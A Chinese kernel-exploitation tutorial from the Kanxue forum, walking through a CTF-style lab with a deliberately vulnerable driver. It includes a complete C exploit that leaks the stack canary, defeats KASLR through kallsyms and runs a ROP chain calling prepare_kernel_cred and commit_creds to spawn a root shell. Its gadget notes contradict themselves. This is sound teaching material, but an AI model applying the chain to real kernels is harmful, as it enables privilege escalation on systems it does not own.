本文為看雪論優秀文章
看雪論壇作者ID:Ta1pax0s
title:Linux Kernel pwn(0)——kernel ROPstruct cred { atomic_t usage;#ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic;#define CRED_MAGIC 0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */#ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested /* keys to */ struct key __rcu *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */#endif#ifdef CONFIG_SECURITY void *security; /* subjective LSM security */#endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ struct rcu_head rcu; /* RCU deletion hook */} __randomize_layout;狀態切換user2kernl:
ENTRY(entry_SYSCALL_64) /* * Interrupts are off on entry. * We do not frame this tiny irq-off block with TRACE_IRQS_OFF/ON, * it is too small to ever cause noticeable irq latency. */ SWAPGS_UNSAFE_STACK //swapgs /* * A hypervisor implementation might want to use a label * after the swapgs, so that it can do the swapgs * for the guest and jump here on syscall. */GLOBAL(entry_SYSCALL_64_after_swapgs)
movq %rsp, PER_CPU_VAR(rsp_scratch) movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
TRACE_IRQS_OFF
/* Construct struct pt_regs on stack */ pushq $__USER_DS /* pt_regs->ss */ pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */ pushq %r11 /* pt_regs->flags */ pushq $__USER_CS /* pt_regs->cs */ pushq %rcx /* pt_regs->ip */ pushq %rax /* pt_regs->orig_ax */ pushq %rdi /* pt_regs->di */ pushq %rsi /* pt_regs->si */ pushq %rdx /* pt_regs->dx */ pushq %rcx /* pt_regs->cx */ pushq $-ENOSYS /* pt_regs->ax */ pushq %r8 /* pt_regs->r8 */ pushq %r9 /* pt_regs->r9 */ pushq %r10 /* pt_regs->r10 */ pushq %r11 /* pt_regs->r11 */ sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
/* * If we need to do entry work or if we guess we'll need to do * exit work, go straight to the slow path. */ movq PER_CPU_VAR(current_task), %r11 testl $_TIF_WORK_SYSCALL_ENTRY|_TIF_ALLWORK_MASK, TASK_TI_flags(%r11) jnz entry_SYSCALL64_slow_path1.swapgs切換到kernel GS
2.保存棧值,設置內核棧#define PER_CPU_VAR(var) %__percpu_seg:var其中%__percpu_seg是GS
3.壓棧保存寄存器
4.判斷類型
5.通過系統調用號跳轉
entry_SYSCALL64_slow_path: /* IRQs are off. */ SAVE_EXTRA_REGS movq %rsp, %rdi call do_syscall_64 /* returns with IRQs disabled */kernel2user1.swapgs恢復GS
2.iretq(加上寄存器信息)或sysretq1.boot.sh:內核啟動腳本;
qemu-system-x86_64 \ "默認使用qemu啟動"-kernel bzImage \ "Linux內核鏡像文件"-initrd rootfs.img \ "打包後的文件系統"-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet" \ "啟動界面為終端、內存文件系統RamDisk、"-cpu qemu64,+smep,+smap \ "開啟了smap、smep機制,這意味著,內核態裡面不能直接訪問用戶態的數據,而應該拷貝到內核的空間;內核態不能執行用戶空間的代碼,否則會觸發頁錯誤"-nographic \ "非圖形界面"2.bzImage:Linux內核鏡像文件;
3.rootfs.img:打包後的文件系統;
4.rop.ko:有漏洞的驅動文件;
5.vmlinux:vmlinux是未壓縮的內核,vmlinux 是ELF文件,即編譯出來的最原始的文件。用於kernel-debug,產生system.map符號表,不能用於直接加載,不可以作為啟動內核。只是啟動過程中的中間媒體。
-cpu kvm64,+smep,+smap 設置 CPU的安全選項, 這裡開啟了 smap 和 smep
-kernel 設置內核 bzImage 文件的路徑
-initrd 設置(利用 busybox 創建的 )rootfs.img ,作為內核啟動的文件系統
-gdb tcp::1234 設置 gdb 的調試埠 為 1234首先要對打包後的文件系統進行處理解包:
cp rootfs.img rootfs.cpiomkdir corecd coremv ../rootfs.cpio ./cpio -idmv < rootfs.cpio現在在文件夾目錄下有一個core目錄,裡面就是文件系統了。效果如下:這裡要注意一下gen.sh他是用來打包文件系統的腳本並生成rootfs.img如下:
find .| cpio -o --format=newc > ../rootfs.img查看開機自啟動腳本 core/etc/init.d:#!/bin/shmount -t proc none /procmount -t sysfs none /sys
echo /sbin/mdev > /proc/sys/kernel/hotplug/sbin/mdev -s
insmod /home/pwn/rop.ko
chmod -R 111 /binchmod -R 111 /usr/binchmod -R 111 /sbincat /proc/kallsyms > /tmp/kallsyms # 當/proc/sys/kernel/kptr_restrict=1時,普通用戶不能通過/proc/kallsyms讀取函數地址,為減少難度直接將kallsyms內容寫入臨時目錄chmod 666 /tmp/kallsyms
chown -R 1000:1000 /home/pwn
chown 0:0 /flagchmod 700 /flag
chmod 666 /dev/rop_dev
cd /home/pwnsetsid cttyhack setuidgid 1000 sh
umount /procumount /syspoweroff -d 0 -f這裡把/proc/kallsyms拷貝到/tmp/kallsyms裡,並且設置了sid和uidgid,明顯不是root用戶的。
rop.ko文件void __cdecl dangerous(size_t num){char overflow[16]; // [rsp+8h] [rbp-18h]unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readgsqword(0x28u);*(_QWORD *)overflow = 0LL;*(_QWORD *)&overflow[8] = 0LL;printk(&unk_37F, v2); // 打出canarymemcpy(overflow, kernel_buf, num);}查看kaslr與基地址偏移
1.啟動起來後執行cat /tmp/kallsyms | grep startup_64得到:ffffffff89e00000 T startup_64。
若此時startup_64不為0xffffffff81000000則差值就是內核基地址的加載偏移
2.得到prepare_kernel_cred地址ffffffff89e834b0 T prepare_kernel_cred
3.得到commit_creds地址ffffffff89e83190 T commit_creds
用戶態與內核態的切換size_t user_cs, user_ss, user_rflags, user_sp; //保存用戶態寄存器狀態void save_status(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" );}內核態返回用戶態:swapgs指令通過用一個MSR中的值交換GS寄存器的內容,用來獲取指向內核數據結構的指針,然後才能執行系統調用之類的內核空間程序。|--|| RIP |<== low mem|--|| CS ||--|| EFLAGS ||--|| RSP ||--|| SS |<== high mem|--|新的用戶空間指令指針(RIP),用戶空間堆棧指針(RSP),代碼和堆棧段選擇器(CS和SS)以及具有各種狀態信息的EFLAGS寄存器。ROPgadgetROPgadget --binary vmlinux > rop_gadget查找vmlinux的ropgadget;objdump -d vmlinux -M intel | grep -E 'mov rdi|rax' > gadget或者直接dump出來,這樣比較多;之前找了一條gadget0xffffffff810f1243 : mov rdi, rax ; test rax, rax ; jne 0xffffffff810f1220 ; ret結果發現根本不能用,原因在於rax此時是指向新cred的指針(必不為零)test之後zf=0,jne一定會跳轉,ret回不來;最後找到0xffffffff810f1243 : mov rdi, rax ; test rax, rax ; jne 0xffffffff810f1220 ; ret然後補一條0xffffffff8101647d : test al, 1 ; ret。
|--|| pop rdi; ret |<== low mem|--|| NULL ||--|| addr of || prepare_kernel_cred()||--|| test al, 1 ; ret ||--||mov rdi, rax ||test rax, rax ||jne 0xffffffff810f1220|| ret ||--|| addr of || commit_creds() ||--|| swapgs; || pop rbp; ret ||--| | NULL ||--| | iretq; ||--|| shell ||--|| user_CS ||--|| user_EFLAGS ||--|| user_RSP ||--|| user_SS |<== high mem|--|查找iretq發現ROPgadget中找不到iretq,在這裡直接去搜索48 CF找到iretq。
自己寫了一個小sh文件:gcc exp.c -masm=intel -static -o exp &&cp exp ./core/home/pwn/ &&cd core/ &&sh gen.sh &&echo "success!" &&cd ../ &&sh boot.sh注意這裡一定要做靜態編譯,因為內核中沒有glibc這些玩意。向驅動中的函數下斷點vmlinux本身是去掉符號表的,但我們想斷在驅動中的函數。cat /proc/modules | grep rop拿到相關地址。也可通過lsmod或cat /sys/module/rop/section/.text。得到rop 16384 0 - Live 0x12345。然後在gdb窗口中:add-symbol-file ./rop.ko 0x12345。接下來就可以直接斷在驅動中的函數裡了。
但是經過我實際測試,這三個應該效果是一樣的,但你必須修改rcS啟動腳本以root啟動,才能看到真正的地址要不然就是0x000000000。
#define _GNU_SOURCE#include <stdio.h>#include <pthread.h>#include <unistd.h>#include <stdlib.h>#include <sys/ioctl.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <string.h>#define N 256
size_t user_cs, user_ss, user_rflags, user_sp; //保存用戶態寄存器狀態void save_status(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" );}
void shell(){ printf("root"); system("/bin/sh");}
size_t get_addr(char *name){ char cmd[N]; FILE *f; size_t info; memset(cmd,0,256); strcat(cmd,"cat /tmp/kallsyms | grep "); strcat(cmd,name); strcat(cmd," >"); strcat(cmd," "); strcat(cmd,name); //printf("execute: %s\n",cmd); system(cmd);
f = fopen(name,"r"); if(!f){ printf("fopen error!\n"); exit(-1); } fscanf(f,"%lx",&info); printf("%s : %lx\n",name,info); fclose(f); return info;}
size_t get_canary(){ FILE *f; size_t info; char *name = "canary"; system("dmesg | grep canary > canary"); f = fopen(name,"r"); if(!f){ printf("fopen error!\n"); exit(-1); } fseek(f,strlen("[ 32.050924] canary is "),SEEK_SET); fscanf(f,"%lx",&info); printf("%s : %lx\n",name,info); fclose(f); return info;}
void *rop(size_t *rop,size_t offset,size_t prepare_kernel_cred,size_t commit_creds){ int i=0; rop[i++] = 0xffffffff810013a8 + offset; //pop rdi; rop[i++] = 0; rop[i++] = prepare_kernel_cred;
rop[i++] = 0xffffffff8101647d + offset; // 0xffffffff8101647d : test al, 1 ; ret rop[i++] = 0xffffffff8138e454 + offset; // 0xffffffff810f1243 : mov rdi, rax ; test rax, rax ; jne 0xffffffff810f1220 ; ret //A pointer to the new cred struct will be stored in %rax which can then be moved to %rdi again and passed as the first argument to commit_creds().
rop[i++] = commit_creds; rop[i++] = 0xffffffff81c00d5a + offset; // swapgs ; popfq ; ret rop[i++] = 0x0; rop[i++] = 0xffffffff81021d02 + offset; // iretq rop[i++] = (size_t)shell; //rip rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
}
int main(){ size_t startup_64,prepare_kernel_cred,commit_creds,offset,canary; save_status(); startup_64 = get_addr("startup_64"); prepare_kernel_cred = get_addr("prepare_kernel_cred"); commit_creds = get_addr("commit_creds"); offset = startup_64 - 0xffffffff81000000; printf("offset : %lx\n",offset); int fd = open("/dev/rop_dev",O_WRONLY); if(fd<0){ printf("open error!\n"); exit(-2); } size_t payload[0x10] = {0x1}; write(fd,payload,0x10); write(fd,payload,0x10); //雙寫打出canary(緩衝區) canary = get_canary(); printf("size_t : %ld\n",sizeof(size_t));
size_t payload2[20]={0}; payload2[0] = 0x6161616161616161; payload2[1] = 0x6161616161616161; // 0x10 payload2[2] = canary; save_status(); rop(&payload2[3],offset,prepare_kernel_cred,commit_creds); printf("start to pwn >\n"); write(fd,payload2,17*8); printf("over!\n"); return 0;}https://blog.csdn.net/u013686019/article/details/26846571/
https://www.anquanke.com/post/id/172216
https://www.povcfe.site/2020/05/16/kernel-rop/
https://xz.aliyun.com/t/2306
https://xz.aliyun.com/t/2054?accounttraceid=913e28d0aee642b792d6762fbc95e68ahnaw
安全防護機制
https://bbs.pediy.com/thread-226696.htm
看雪ID:Ta1pax0s
https://bbs.pediy.com/user-home-876323.htm
*本文由看雪論壇 Ta1pax0s 原創,轉載請註明來自看雪社區。
地點:上海浦東喜來登由由酒店 2樓大宴會廳
我們不見不散!